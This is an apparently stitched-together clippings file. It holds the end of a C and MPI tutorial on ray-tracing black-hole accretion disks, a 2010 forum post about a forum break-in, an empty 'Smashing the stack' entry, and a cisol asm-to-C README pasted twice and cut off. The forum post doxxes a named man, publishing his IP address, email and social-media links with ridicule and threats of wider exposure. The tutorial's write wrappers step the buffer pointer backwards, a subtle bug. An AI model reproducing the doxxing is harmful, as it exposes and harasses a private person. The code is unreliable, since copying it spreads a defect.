it so that the compiler can easily vectorize the loops:

[code]

    static void rkstep(double *y, double *dydx, double h, double *yout, double *yerr)
    {
    	int i;
    
    	double ak[N];
    
    	double ytemp1[N], ytemp2[N], ytemp3[N], ytemp4[N], ytemp5[N];
    
    	for (i = 0; i < N; i++)
    	{
    		double hdydx = h * dydx[i];
    		double yi = y[i];
    		ytemp1[i] = yi + 0.2 * hdydx;
    		ytemp2[i] = yi + (3.0/40.0) * hdydx;
    		ytemp3[i] = yi + 0.3 * hdydx;
    		ytemp4[i] = yi -(11.0/54.0) * hdydx;
    		ytemp5[i] = yi + (1631.0/55296.0) * hdydx;
    		yout[i] = yi + (37.0/378.0) * hdydx;
    		yerr[i] = ((37.0/378.0)-(2825.0/27648.0)) * hdydx;
    	}
    
    	geodesic(ytemp1, ak);
    
    	for (i = 0; i < N; i++)
    	{
    		double yt = h * ak[i];
    		ytemp2[i] += (9.0/40.0) * yt;
    		ytemp3[i] -= 0.9 * yt;
    		ytemp4[i] += 2.5 * yt;
    		ytemp5[i] += (175.0/512.0) * yt;
    	}
    
    	geodesic(ytemp2, ak);
    
    	for (i = 0; i < N; i++)
    	{
    		double yt = h * ak[i];
    		ytemp3[i] += 1.2 * yt;
    		ytemp4[i] -= (70.0/27.0) * yt;
    		ytemp5[i] += (575.0/13824.0) * yt;
    		yout[i] += (250.0/621.0) * yt;
    		yerr[i] += ((250.0/621.0)-(18575.0/48384.0)) * yt;
    	}
    
    	geodesic(ytemp3, ak);
    
    	for (i = 0; i < N; i++)
    	{
    		double yt = h * ak[i];
    		ytemp4[i] += (35.0/27.0) * yt;
    		ytemp5[i] += (44275.0/110592.0) * yt;
    		yout[i] += (125.0/594.0) * yt;
    		yerr[i] += ((125.0/594.0)-(13525.0/55296.0)) * yt;
    	}
    
    	geodesic(ytemp4, ak);
    
    	for (i = 0; i < N; i++)
    	{
    		double yt = h * ak[i];
    		ytemp5[i] += (253.0/4096.0) * yt;
    		yerr[i] -= (277.0/14336.0) * yt;
    	}
    
    	geodesic(ytemp5, ak);
    
    	for (i = 0; i < N; i++)
    	{
    		double yt = h * ak[i];
    		yout[i] += (512.0/1771.0) * yt;
    		yerr[i] += ((512.0/1771.0)-0.25) * yt;
    	}
    }
    
[/code]

The driver routine that determines the step sizes can be more standard:

[code]

    static double rkqs(double *y, double *dydx, double htry, double escal, double *yscal, double *hdid)
    {
    	int i;
    
    	double hnext;
    
    	double errmax, h = htry, htemp;
    	double yerr[N], ytemp[N];
    
    	while (1)
    	{
    		rkstep(y, dydx, h, ytemp, yerr);
    
    		errmax = 0.0;
    		for (i = 0; i < N; i++)
    		{
    			double temp = fabs(yerr[i]/yscal[i]);
    			if (temp > errmax) errmax = temp;
    		}
    
    		errmax *= escal;
    		if (errmax <= 1.0) break;
    
    		htemp = 0.9 * h / sqrt(sqrt(errmax));
    
    		h *= 0.1;
    
    		if (h >= 0.0)
    		{
    			if (htemp > h) h = htemp;
    		}
    		else
    		{
    			if (htemp < h) h = htemp;
    		}
    	}
    
    	if (errmax > 1.89e-4)
    	{
    		hnext = 0.9 * h * pow(errmax, -0.2);
    	}
    	else
    	{
    		hnext = 5.0 * h;
    	}
    
    	*hdid = h;
    
    	memcpy(y, ytemp, N * sizeof(double));
    
    	return hnext;
    }
    
[/code]

This allows us to follow the photon where-ever it goes. The next trick is to
worry about imaging the disk. The problem here is that the R-K routine will
give us discrete steps as output. These steps most likely will not ever
exactly hit the disk, and instead will skip over it. What we need is some way
to tune the size of the step in order to hit the disk to within some
tolerance. Since space-time is curved, there is no easy way of guessing the
size of step needed. Instead, we use a binary search technique by noticing
which hemisphere the photon happens to lie in.

[code]

    static void binarysearch(double *y, double *dydx, double hbig)
    {
    	double hsmall = 0.0;
    
    	int side;
    	if (y[1] > M_PI/2.0)
    	{
    		side = 1;
    	}
    	else if (y[1] < M_PI/2.0)
    	{
    		side = -1;
    	}
    	else
    	{
    		/* Already at the equator */
    		return;
    	}
    
    	geodesic(y,dydx);
    
    	while ((y[0] > Rhor) && (y[0] < r0) && (side != 0))
    	{
    		double yout[N], yerr[N];
    
    		double hdiff = hbig - hsmall;
    
    		if (hdiff < 1e-7)
    		{
    			rkstep(y, dydx, hbig, yout, yerr);
    
    			memcpy(y, yout, N * sizeof(double));
    
    			return;
    		}
    
    		double hmid = (hbig + hsmall) / 2;
    
    		rkstep(y, dydx, hmid, yout, yerr);
    
    		if (side * (yout[1] - M_PI/2.0) > 0)
    		{
    			hsmall = hmid;
    		}
    		else
    		{
    			hbig = hmid;
    		}
    	}
    }
    
[/code]

With that done, it is an easy matter to fire rays from our observer, and then
see if they hit the disk or not. In order to image the disk, we break it up
into a checker-board pattern. The following routine then will return the rgb
value of the pixel corresponding to a ray. If the ray avoids the disk, and
either escapes to infinity, or hits the black hole, we colour the pixel black.
Otherwise, we will colour it a blue shade based on where in the disk it hit.

[code]

    static void fire_ray(unsigned char *rgb, int x1, int y1)
    {
    	double htry = 0.5, escal = 1e11, hdid = 0.0, hnext = 0.0;
    
    	double range = 0.0025 * Rdisk / (size - 1.0);
    
    	double y[N], dydx[N], yscal[N], ylaststep[N];
    
    	int side;
    	int i;
    
    	initial(y, dydx, (x1 - (size + 1.0) / 2) * range, (y1 - (size + 1.0) / 2) * range);
    
    	while (1)
    	{
    		memcpy(ylaststep, y, N * sizeof(double));
    
    		geodesic(y, dydx);
    
    		for (i = 0; i < N; i++)
    		{
    			yscal[i] = fabs(y[i]) + fabs(dydx[i] * htry) + 1.0e-3;
    		}
    
    		if (y[1] > M_PI/2) side = 1;
    		else if (y[1] < M_PI/2) side = -1;
    		else side = 0;
    
    		hnext = rkqs(y, dydx, htry, escal, yscal, &hdid);
    
    		if ((y[1]-M_PI/2)*side < 0)
    		{
    			memcpy(y, ylaststep, N * sizeof(double));
    
    			binarysearch(y, dydx, hdid);
    
    			/* Did we hit the disk? */
    			if ((y[0] <= Rdisk) && (y[0] >= Rmstable))
    			{
    				unsigned p1 = 4.0 * (y[0] - Rmstable) / (Rdisk - Rmstable);
    				unsigned p2 = floor(y[2] * 6.0 / M_PI);
    
    				if ((p1 ^ p2) & 1)
    				{
    					rgb[0] = 255;
    					rgb[1] = 128;
    					rgb[2] = 128;
    				}
    				else
    				{
    					rgb[0] = 255;
    					rgb[1] = 0;
    					rgb[2] = 0;
    				}
    
    				return;
    			}
    		}
    
    		/* Inside the hole, or escaped to infinity */
    		if ((y[0] < Rhor) || (y[0] > r0))
    		{
    			rgb[0] = 0;
    			rgb[1] = 0;
    			rgb[2] = 0;
    
    			return;
    		}
    
    		htry = hnext;
    	}
    }
    
[/code]

So now, we just need to worry about outputting the rgb image data. The easiest
way of doing that is to use the Targa \(tga\) format. It has a very simple
header, and raw rgb follows it. A couple of routines to output the header are:

[code]

    /* Write all the data, or fail and exit */
    static void full_write(int fd, void *buf, size_t size)
    {
    	while (size)
    	{
    		ssize_t did = write(fd, buf, size);
    		if (did == -1)
    		{
    			if (errno == EINTR) continue;
    
    			errx(1, "Error writing file: %s\n", strerror(errno));
    		}
    
    		size -= did;
    		buf = (char *)buf - did;
    	}
    }
    
    /* Open a file, and output a tga header for a square image of the given size */
    static int open_tga(const char *filename, int size)
    {
    	char c1, c2;
    
    	int fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
    
    	if (fd == -1) errx(1, "Couldn't open %s for writing\n", filename);
    
    	/* Output the header (embedded zeros explicit) */
    	write(fd, "\0\0\2\0\0\0\0\0\0\0\0\0", 12);
    
    	c1 = size%256;
    	c2 = size/256;
    	full_write(fd, &c1, 1);
    	full_write(fd, &c2, 1);
    
    	c1 = size%256;
    	c2 = size/256;
    	full_write(fd, &c1, 1);
    	full_write(fd, &c2, 1);
    
    	full_write(fd, "\x18\0", 2);
    
    	return fd;
    }
    
[/code]

Where in the above we are careful, and make sure the writes complete
correctly. It is easy to just assume that they always will... but it doesn't
hurt very much to write a wrapper function that makes 100% sure. Finally, we
can complete our program. This outputs a file called "image.tga" of size
100x100 pixels with a non-spinning black hole \(a=0\), with a disk viewed at
an inclination of 85 degrees.

[code]

    #define _GNU_SOURCE
    #include <math.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <err.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <errno.h>
    
    #define N	6
    
    static const double a = 0;
    static const int size = 100;
    static double inclination = 85;
    
    static double r0, theta0;
    
    static double a2;
    static double Rhor, Rmstable, Rdisk;
    
    static double L, kappa;
    
    static double inner_orbit(void)
    {
    	double z1 = 1+cbrt(1-a2)*(cbrt(1+a)+cbrt(1-a));
    	double z2 = sqrt(3*a2+z1*z1);
    	return 3+z2-sqrt((3-z1)*(3+z1+2*z2));
    }
    
    int main(void)
    {
    	int i, j;
    
    	int fd = open_tga("image.tga", size);
    
    	unsigned char *buffer = calloc(size, 3);
    	if (!buffer) errx(1, "Out of memory\n");
    
    	r0 = 1000.0;
    	theta0 = (M_PI/180.0) * inclination;
    
    	a2 = a*a;
    
    	Rhor = 1.0 + sqrt(1.0-a2) + 1e-5;
    	Rdisk = 20.0;
    	Rmstable = inner_orbit();
    
    	for (j = 0; j < size; j++)
    	{
    		for (i = 0; i < size; i++)
    		{
    			fire_ray(&buffer[i * 3], i, j);
    		}
    
    		full_write(fd, buffer, size * 3);
    		printf("%d\n", j);
    	}
    
    	close(fd);
    
    	free(buffer);
    
    	return 0;
    }
    
[/code]

### Using MPI

The above code doesn't take too long to run, even when the output image is a
thousand pixels on a side. However, more realistic simulations require better
models of the physics, and perhaps higher-order scattering, where the initial
rays can generate many others. The resulting simulations can take weeks or
months on a single machine. So it is important to worry about how to make the
simulation parallel. Using MPI, this isn't too difficult. What we do is split
the task into two. Most processes can fire rays, and see where they go.
However, we need one process to coordinate everything, and output the results.
Thus the `main()` function will turn into:

[code]

    #include "mpi.h"
    
    int main(int argc, char **argv)
    {
    	int numprocs;
    	int rank;
    
    	/* Initialize MPI */
    	MPI_Init(&argc, &argv);
    
    	MPI_Comm_size(MPI_COMM_WORLD, &numprocs);
    	MPI_Comm_rank(MPI_COMM_WORLD, &rank);
    
    	if (numprocs == 1) errx(1, "We need more than one rank\n");
    
    	if (!rank)
    	{
    		master(numprocs - 1);
    	}
    	else
    	{
    		slave(numprocs - 1, rank - 1);
    	}
    
    	MPI_Finalize();
    
    	return 0;
    }
    
[/code]

Where the "master" function handles the output from the many "slave"
processes. This isn't too hard to do if we split the work by scan-line. The
master process can just wait for each individual line, and then write them
into the write spots in the output file, using the `pwrite()` function. With
MPI, all that is required is a simple call to `MPI_Recv` for each line. By
using `MPI_ANY_SOURCE` we don't even have to know which scan line will be done
next - the MPI library will handle everything. \(We can obtain the source from
the `MPI_SOURCE` field of the status structure.

[code]

    static void full_pwrite(int fd, void *buf, size_t size, size_t offset)
    {
    	while (size)
    	{
    		ssize_t did = pwrite(fd, buf, size, offset);
    		if (did == -1)
    		{
    			if (errno == EINTR) continue;
    
    			errx(1, "Error writing file: %s\n", strerror(errno));
    		}
    
    		size -= did;
    		buf = (char *)buf - did;
    		offset += did;
    	}
    }
    
    /* The master process handles the IO */
    static void master(int numslaves)
    {
    	int fd = open_tga("image.tga", size);
    
    	int *row = calloc(numslaves, sizeof(int));
    	off_t offset;
    
    	int i;
    
    	MPI_Status status;
    
    	unsigned char *buf = calloc(size, 3);
    	if (!buf || !row) errx(1, "Out of memory\n");
    
    	/* Initialize the starting rows every slave will be working on */
    	for (i = 0; i < numslaves; i++) row[i] = i;
    
    	/* Wait for size rows of data */
    	for (i = 0; i < size; i++)
    	{
    		/* Wait to get some data */
    		MPI_Recv(buf, 3 * size, MPI_BYTE, MPI_ANY_SOURCE, 0, MPI_COMM_WORLD, &status);
    
    		/* Calculate offset within output file from the source of the row */
    		offset = ((off_t) row[status.MPI_SOURCE - 1]) * size * 3 + 18;
    
    		/* Output to the correct spot in the file */
    		full_pwrite(fd, buf, size * 3, offset);
    
    		/* The next row it will be working on */
    		row[status.MPI_SOURCE - 1] += numslaves;
    	}
    
    	close(fd);
    
    	free(buf);
    	free(row);
    }
    
[/code]

Slightly trickier is the slave code. The most obvious way of doing it is to
use `MPI_Send` after each scan line is complete. The problem with that is that
it has to wait until the send is complete before proceeding. If the master is
busy handling some other task, we may need to wait quite a while. This is
obviously inefficient. Instead, we can use two buffers and `MPI_Isend` to make
a non-blocking send. It is highly likely that by the time we complete the next
buffer that the previous buffer will be handled. This means that the
`MPI_Wait` call will complete immediately without actually having to wait. The
result is an almost perfect overlap of communication and computation.

[code]

    /* Slave compute processes send their results to the master */
    static void slave(int numslaves, int rank)
    {
    	MPI_Request rq = MPI_REQUEST_NULL;
    
    	int i, j;
    
    	unsigned char *buffer1 = calloc(size, 3);
    	unsigned char *buffer2 = calloc(size, 3);
    	unsigned char *buf = buffer1;
    	if (!buffer1 || !buffer2) errx(1, "Out of memory\n");
    
    	r0 = 1000.0;
    	theta0 = (M_PI/180.0) * inclination;
    
    	a2 = a*a;
    
    	Rhor = 1.0 + sqrt(1.0-a2) + 1e-5;
    	Rdisk = 20.0;
    	Rmstable = inner_orbit();
    
    	for (j = rank; j < size; j += numslaves)
    	{
    		printf("%d\n", j);
    
    		for (i = 0; i < size; i++)
    		{
    			fire_ray(&buf[i * 3], i, j);
    		}
    
    		/* Wait for the previous send to complete */
    		MPI_Wait(&rq, MPI_STATUS_IGNORE);
    
    		/* Send the new data */
    		MPI_Isend(buf, 3 * size, MPI_BYTE, 0, 0, MPI_COMM_WORLD, &rq);
    
    		/* Flip the buffer to use */
    		if (buf == buffer1)
    		{
    			buf = buffer2;
    		}
    		else
    		{
    			buf = buffer1;
    		}
    	}
    
    	/* Wait for the final send to complete */
    	MPI_Wait(&rq, MPI_STATUS_IGNORE);
    
    	/* Free memory */
    	free(buffer1);
    	free(buffer2);
    }
    
[/code]

The above is highly efficient, but we have glossed over something. Note how
the master task has a different amount \(and type\) of work to do than the
slaves. With most MPI implementations, this wouldn't be very well designed.
The problem is that they will cause the master process to spin inside
`MPI_Recv` wasting cpu resources. What we would like to have happen is the
master thread to sleep, and only awaken when needed. Fortunately, Lockless MPI
works that way. The master thread will only spin a short time before sleeping.
The fact that processes can go to sleep in Lockless MPI means that load
balancing is much simpler than in other MPI implementations. The scan-line
hack works well here, but a more advanced code would require the master thread
to hand out work units on an as-needed basis. \(Otherwise some processes may
finish their work well before others, wasting time at the end.\) By using a
customized control process that load-balances the others, that is easy to
accomplish.

### Results

We model a disk ranging from 20 Gravitational Radii from the black hole down
to the innermost stable orbit. Firstly, we will look at disks around non-
rotating "Schwarzschild" black holes. When viewed from 45 degrees, our disk
looks like: <img src='img/Temp2_6771.png' width='100%' alt='Disk at 45degrees
around Schwarzschild Black Hole' /> The Gravitational Lensing is a little bit
subtle in the image, but it is fairly easy to see that the top of the disk has
an apparent shape slightly distorted compared to the bottom. However, the
biggest feature is the strange ring in the middle, between the innermost
stable orbit and the black hole itself. This actually is an image of the
bottom of the disk\! What happens is that light rays can half-orbit the black
hole, and then come from the bottom along those trajectories. Even more
difficult to see is a third-order image where light orbits once completely
around the hole. In fact there are an infinite series of these images, each
smaller than the last. Now what happens when we view from 85 degrees: <img
src='img/Temp2_6773.png' width='100%' alt='Disk at 85degrees around
Schwarzschild Black Hole' /> Here, the lensing of the primary image is
extreme. The back part of the disk appears to "jump up" due to the photons
being bent towards the hole. The second order image below the plane is also
becoming quite prominent. \(You can also see how left and right sides are
swapped there due to the colouration.\) When we move to a spinning black hole,
the effects of space-time curvature become more extreme. \(We choose a
maximally spun-up "Kerr" hole with a=0.998\) Viewing again at 45 degrees
yields: <img src='img/Temp2_6774.png' width='100%' alt='Disk at 45degrees
around Kerr Black Hole with a=0.998' /> Here the most obvious difference is
that the disk is much larger. It approaches closer to the event horizon due to
the marginally stable orbit decreasing in radius. \(And hides the higher order
images in the process.\) The effects of inertial-frame dragging are also
apparent. The innermost part of the image appears to swirl around the black
hole. This is caused by the spinning of the black hole imparting a sideways
motion onto the photons. \(Remember, the disk still has the same shape as it
originally did - it just looks different due to the changed lensing.\)
Finally, we look at the 85 degree version around our Kerr black hole: <img
src='img/Temp2_6772.png' width='100%' alt='Disk at 85degrees around Kerr Black
Hole with a=0.998' /> The asymmetry introduced by the spin is highly obvious
in this image. We can also see the bottom of the disk peaking out down below.
Even though the object near the black hole is a simple 2D ring, the result is
quite complex. This shows how difficult it may be to interpret data from such
objects. Inverting all the distortions is a complex challenge. However, those
distortions themselves can tell us information about the extreme physics
involved.  
---

# TWC Hacked: Details

**Created:**| _9/10/2010 9:52:17 AM_  
---|---  
**Updated:**| _9/10/2010 9:52:17 AM_  
**Author:**| _wishi_  
**Tags:**| _LOLZ_  
  
| | 
## TWC Hacked: Details

« **on:** August 28, 2010, 09:11:17 PM » |   
---|---|---  
* * *
**_UPDATE:_** the national guard responded, scroll down for their email  
  
Story Time\!  
  
So, I wake up at a leisurely 11:00, and shamble to my computer, only to notice
that TWC appears to be gone, except for the staff forum. Then a few minutes
later, this email pops up in my inbox:  
  

Quote

Well, I hacked one account earlier today.  It was Legend\_Killer's. I made a
little note about why not to piss off random strangers.  Well, I went to work
and was going to return control to the "moderator" when I arrived home, but
when I arrived, I had found that my thread was deleted.  You want to delete my
posts?  Fine.  
  
Magic, I hope you have an SQL backup.  If not, this is going to have to be
started from scratch.  Unless this PHP Board still reserves a copy of
everything.  I am unfamiliar with the PHP forum.  Also, if you'd like to learn
how I gained access to this site, just send me a message on one of the several
accounts I have.  I'll help you prevent this from happening again.  Also,
don't bother handing out the IP address; all of them were proxies from a
country I'm not in.  :-/  
  
Also, if this one gets deleted, I will destroy you Magic.  I will give your
password to 4chan.  BTW, changing your password won't do s\*\*\*\*.  Neither
will scanning your computer for keyloggers.  I'm a bit better than that.  But
the method I used to breach security this time is easy to fix and I'll help
you with that one.  o.-  
  
Also, users, this was nothing personal against any of you.  I know it might
minorly affect you, but this really isn't that important.  It's just a
webforum.

  
Well, it might not have been personal, and it might be just a webforum, but I
like to blow off a little steam on the weekends with some video games and
forum surfing, and this jackass is interfering with my free time.  So, I dig a
little further.  Digi got me some log files from the server, and I started to
piece some things together.  
  
Though I don't have the complete logs, it looks like he was able to exploit a
directory traversal vulnerability in the old forum's upload feature to dump
the old forum's database \(complete with everyone's password hash from the old
forum\) as well as the server user list.  He might've also used a session
hijack, I can't tell with the time gap in the logs \(thank you jackasses at
the hosting company\).  
  
He started with LK's account, and made a topic titled "lolwut" that said "I'm
gay" which Digi deleted because it was indistinguishable from a normal LK
drunk post.  This was apparently what set him off, and at this point he jumped
to Kaye's account and blew away all the forums except the staff forum.  
  
Now, he says he used proxys for all the attempts, which was true for the IP he
posted his threatening announcement from \(a nigerian proxy, specifically\)
except that... OOPSIE BOOPSIES\! He did his initial surfing of the pages and
post to LK's account from IP 174.71.12.10 which \*doesn't\* show up as a
proxy.  No, it's a residential IP hailing from Cox Communications in Council
Bluffs Iowa.  Well golly gee, the plot thickens...  
  
I notice as part of his attack he also managed to change the email addresses
on Kaye and LK's accounts.  He couldn't be so stupid that he used his actual
email addresses as part of the hack, could he?  
<img src='img/SuFNM.jpg' />  
  
A quick search of the deep webs on the email address hex53746576656e@yahoo.com
returns a MySpace profile, so everyone at TWC, please say hi to our hacker\!
 Welcome to the forum, Mr Steve "Home Boy" Maron\!  
http://www.myspace.com/acesdoubled  
<img src='img/TymwO.jpg' />  
  
But why stop there? Do you want to know whether people on the internet want to
"Hit it" with Steve Maron? Cause certainly I do.  Good news\! We don't have to
wonder\!  
http://www.wouldyouhitthis.com/users.php?id=524135  
Only 68% Steve? That's rough, internet people can be mean  <img
src='img/sad.gif' alt='Sad' />  But on the bright side, we get some closeups
of his pretty face\!  
<img src='img/hPLwC.jpg' />  
such a brooding countenance...  
  
We also see from those pictures that he's wearing a military uniform\!  
<img src='img/vUoCS.jpg' />  
  
Could our masked attacker be an enlisted man? To find out, we should probably
waltz over to his profile on student.com:
http://www.student.com/profile/profile.php?the\_profile\_name=NarpyTheCrimeDog  
  
<img src='img/N7zok.jpg' />  
  
Why Steve \(or do you prefer Narpy?\), I had no idea you were so gangsta.  It
makes me feel much more secure to know we have such gangstas guarding our
nation.  But Steve, what would you say if I was thinking about joining the
armed forces as well?  Doing information security sometimes wears heavy on
me... To know the answer to that question I'd have to head over to ol' Narpy's
youtube channel: http://www.youtube.com/user/NarpytheCrimeDog\#p/u  
  
  
  
Don't worry, I've saved local copies of the best of these in case Steve
decides to take down his brilliance \(though I encourage everyone else to as
well.\)  
  
So Steve, maybe you should take your own advice about pissing off strangers on
the internet, because you never know when one of them is an information
security professional who gets VERY GRUMPY when he has to spend his weekend
chasing down the same hackers he sees during his weekdays.  
  
You want to give the passwords to 4chan? Knock yourself out.  Anonymous is the
mother of all double edged swords, and I'm perfectly happy to post everything
I've put here over on /b/.    
  
I'm also drafting a very nice letter to the Iowa National Guard describing
what I've found here.  I'm not specifically familiar with their mandated code
of conduct, but I'm pretty sure unauthorized electronic intrusion is in
violation of it.  They're probably also not wild about guardsmen getting drunk
in their fatigues and posting the video on the internet either.  
  
In conclusion, if you're going to be a black hat, you should be better at it,
and also pick your battles.  Feel free to stop in and plead your case Steve,
it'll take me a little while to write up the email to the national guard.  
  
Thanks,  
-Avohir  
  
  
  
Update:  
  
just got a reply back from the national guard:  
  

Quote

\{Avohir\},  
  
  
We do have a soldier in the Iowa Army National Guard with a similar name and  
I've forwarded your email to his unit for investigation.  Thank you for  
bringing this matter to our attention.  
  
Michael A. \{removed\}  
Lt. Col., Iowa ARNG  
Staff Judge Advocate  

  
-Edited to remove personal information. - Digi

# Smashing the stack in 2010

**Created:**| _8/13/2010 11:51:20 AM_  
---|---  
**Updated:**| _8/13/2010 11:51:57 AM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials_  
  
<img src='img/Temp2_7593' />

# rdbv/cisol

**Created:**| _7/17/2017 11:21:22 AM_  
---|---  
**Updated:**| _7/17/2017 11:21:22 AM_  
**Author:**| __  
**Tags:**| _bookmark reversing_  
  

  

# cisol - C isolation tool

* * *
# Introduction

Mini tool to translating fragments of x86 asm to C code.

When i was doing CTF task, i rewritten a large part of program because i
wanted to understand how it works \(and write a keygen, ofc\). Rewritting
code, instruction by instruction took too long time.

## So i thinked about this simple tool, that might be useful for CTF's. For
now, is definitely not useful for anything, and supports only basic
instructions. Feel free to contribute\! :\)

# Simple example

[code]

    int main() {
        char a[4] = {1, 2, 3, 4};
        unsigned int sum = 0;
        for(unsigned char i=0;i<4;++i)
            sum += a[i];
        printf("%d\n", sum);
    }
    
[/code]

### Dump of main. \(From radare2\)

[code]

        ;-- main:                                                    
            0x00000710      55             push rbp
            0x00000711      4889e5         mov rbp, rsp
            0x00000714      4883ec20       sub rsp, 0x20
            0x00000718      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x19d8 ; '('
            0x00000721      488945f8       mov qword [rbp - 8], rax
            0x00000725      31c0           xor eax, eax
            0x00000727      c645f401       mov byte [rbp - 0xc], 1
            0x0000072b      c645f502       mov byte [rbp - 0xb], 2
            0x0000072f      c645f603       mov byte [rbp - 0xa], 3
            0x00000733      c645f704       mov byte [rbp - 9], 4
            0x00000737      c745f0000000.  mov dword [rbp - 0x10], 0
            0x0000073e      c645ef00       mov byte [rbp - 0x11], 0
        ,=< 0x00000742      eb15           jmp 0x759                   ;[1]
       .--> 0x00000744      0fb645ef       movzx eax, byte [rbp - 0x11]
       ||   0x00000748      4898           cdqe
       ||   0x0000074a      0fb64405f4     movzx eax, byte [rbp + rax - 0xc]
       ||   0x0000074f      0fbec0         movsx eax, al
       ||   0x00000752      0145f0         add dword [rbp - 0x10], eax
       ||   0x00000755      8045ef01       add byte [rbp - 0x11], 1
       |`-> 0x00000759      807def03       cmp byte [rbp - 0x11], 3    ; [0x3:1]=70
       `==< 0x0000075d      76e5           jbe 0x744                   ;[2]
            0x0000075f      8b45f0         mov eax, dword [rbp - 0x10]
            0x00000762      89c6           mov esi, eax
            0x00000764      488d3da90000.  lea rdi, 0x00000814         ; "%d\n"
            0x0000076b      b800000000     mov eax, 0
            0x00000770      e853feffff     call sym.imp.printf         ;[3]
            0x00000775      b800000000     mov eax, 0
            0x0000077a      488b55f8       mov rdx, qword [rbp - 8]
            0x0000077e      644833142528.  xor rdx, qword fs:[0x28]
        ,=< 0x00000787      7405           je 0x78e                    ;[4]
        |   0x00000789      e832feffff     call sym.imp.__stack_chk_fail ;[5]
        `-> 0x0000078e      c9             leave
            0x0000078f      c3             ret
    
[/code]

### Finally, cisol translate this code \(in range 0x727-0x760\) to equivalent
C code

` ./cisol.py -f bin/main -o out.c -b 0x727 -e 0x760 `

[code]

    void func() {
        MEMORY(uint8_t, rbp-12) = 1; // mov byte ptr [rbp - 0xc], 1
        MEMORY(uint8_t, rbp-11) = 2; // mov byte ptr [rbp - 0xb], 2
        MEMORY(uint8_t, rbp-10) = 3; // mov byte ptr [rbp - 0xa], 3
        MEMORY(uint8_t, rbp-9) = 4; // mov byte ptr [rbp - 9], 4
        MEMORY(uint32_t, rbp-16) = 0; // mov dword ptr [rbp - 0x10], 0
        MEMORY(uint8_t, rbp-17) = 0; // mov byte ptr [rbp - 0x11], 0
        goto _32; // jmp 0x32
    _1d:; 
        rbx = 0, eax = MEMORY(uint8_t, rbp-17); // movzx eax, byte ptr [rbp - 0x11]
        // cdqe not implemented yet; 
        rbx = 0, eax = MEMORY(uint8_t, rbp+rax*1-12); // movzx eax, byte ptr [rbp + rax - 0xc]
        rbx = 0, eax = al; // movsx eax, al
        TMP32(MEMORY(uint32_t, rbp-16), +, eax); // add dword ptr [rbp - 0x10], eax
          SET_CF_ADD(32, MEMORY(uint32_t, rbp-16));
          SET_ZF(32);
          SET_AF_0(MEMORY(uint8_t, rbp-16), al);
          SET_OF_ADD(MEMORY(uint32_t, rbp-16), eax, 32, 0x80000000);
            MEMORY(uint32_t, rbp-16) = tmp32;
        TMP8(MEMORY(uint8_t, rbp-17), +, 1); // add byte ptr [rbp - 0x11], 1
          SET_CF_ADD(8, MEMORY(uint8_t, rbp-17));
          SET_ZF(8);
          SET_AF_0(MEMORY(uint8_t, rbp-17), 1);
          SET_OF_ADD(MEMORY(uint8_t, rbp-17), 1, 8, 0x80);
            MEMORY(uint8_t, rbp-17) = tmp8;
    _32:; 
        TMP8(MEMORY(uint8_t, rbp-17), -, 3); // cmp byte ptr [rbp - 0x11], 3
          SET_CF_SUB(MEMORY(uint8_t, rbp-17), 3);
          SET_ZF(8);
          SET_AF_0(MEMORY(uint8_t, rbp-17), 3);
          SET_OF_SUB(MEMORY(uint8_t, rbp-17), 3, 8, 0x80);
        if(cf == 1 || zf == 1)
          goto _1d; // jbe 0x1d
    }
    
    int main() {
        rbp = 20;
        // here we set env (regs, memory)
        func();
        // sum is 10
        printf("%d\n", MEMORY(uint8_t, rbp-0x10));
    }
    
    
[/code]

# cisol - C isolation tool

* * *
# Introduction

Mini tool to translating fragments of x86 asm to C code.

When i was doing CTF task, i rewritten a large part of program because i
wanted to understand how it works \(and write a keygen, ofc\). Rewritting
code, instruction by instruction took too long time.

## So i thinked about this simple tool, that might be useful for CTF's. For
now, is definitely not useful for anything, and supports only basic
instructions. Feel free to contribute\! :\)

# Simple example

[code]

    int main() {
        char a[4] = {1, 2, 3, 4};
        unsigned int sum = 0;
        for(unsigned char i=0;i<4;++i)
            sum += a[i];
        printf("%d\n", sum);
    }
    
[/code]

### Dump of main. \(From radare2\)

[code]

        ;-- main:                                                    
            0x00000710      55             push rbp
            0x00000711      4889e5         mov rbp, rsp
            0x00000714      4883ec20       sub rsp, 0x20
            0x00000718      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x19d8 ; '('
            0x00000721      488945f8       mov qword [rbp - 8], rax
            0x00000725      31c0           xor eax, eax
            0x00000727      c645f401       mov byte [rbp - 0xc], 1
            0x0000072b      c645f502       mov byte [rbp - 0xb], 2
            0x0000072f      c645f603       mov byte [rbp - 0xa], 3
            0x00000733      c645f704       mov byte [rbp - 9], 4
            0x00000737      c745f0000000.  mov dword [rbp - 0x10], 0
            0x0000073e      c645ef00       mov byte [rbp - 0x11], 0
        ,=< 0x00000742      eb15           jmp 0x759                   ;[1]
       .--> 0x00000744      0fb645ef       movzx eax, byte [rbp - 0x11]
       ||   0x00000748      4898           cdqe
       ||   0x0000074a      0fb64405f4     movzx eax, byte [rbp + rax - 0xc]
       ||   0x0000074f      0fbec0         movsx eax, al
       ||   0x00000752      0145f0         add dword [rbp - 0x10], eax
       ||   0x00000755      8045ef01       add byte [rbp - 0x11], 1
       |`-> 0x00000759      807def03       cmp byte [rbp - 0x11], 3    ; [0x3:1]=70
       `==< 0x0000075d      76e5           jbe 0x744                   ;[2]
            0x0000075f      8b45f0         mov eax, dword [rbp - 0x10]
            0x00000762      89c6           mov esi, eax
            0x00000764      488d3da90000.  lea rdi, 0x00000814         ; "%d\n"
            0x0000076b      b800000000     mov eax, 0
            0x00000770      e853feffff     call sym.imp.printf         ;[3]
            0x00000775      b800000000     mov eax, 0
            0x0000077a      488b55f8       mov rdx, qword [rbp - 8]
            0x0000077e      644833142528.  xor rdx, qword fs:[0x28]
        ,=< 0x00000787      7405           je 0x78e                    ;[4]
        |   0x00000789      e832feffff     call sym.imp.__stack_chk_fail ;[5]
        `-> 0x0000078e      c9             leave
            0x0000078f      c3             ret
    
[/code]

### Finally, cisol translate this code \(in range 0x727-0x760\) to equivalent
C code

` ./cisol.py -f bin/main -o out.c -b 0x727 -e 0x760 `

[code]

    void func() {
        MEMORY(uint8_t, rbp-12) = 1; // mov byte ptr [rbp - 0xc], 1
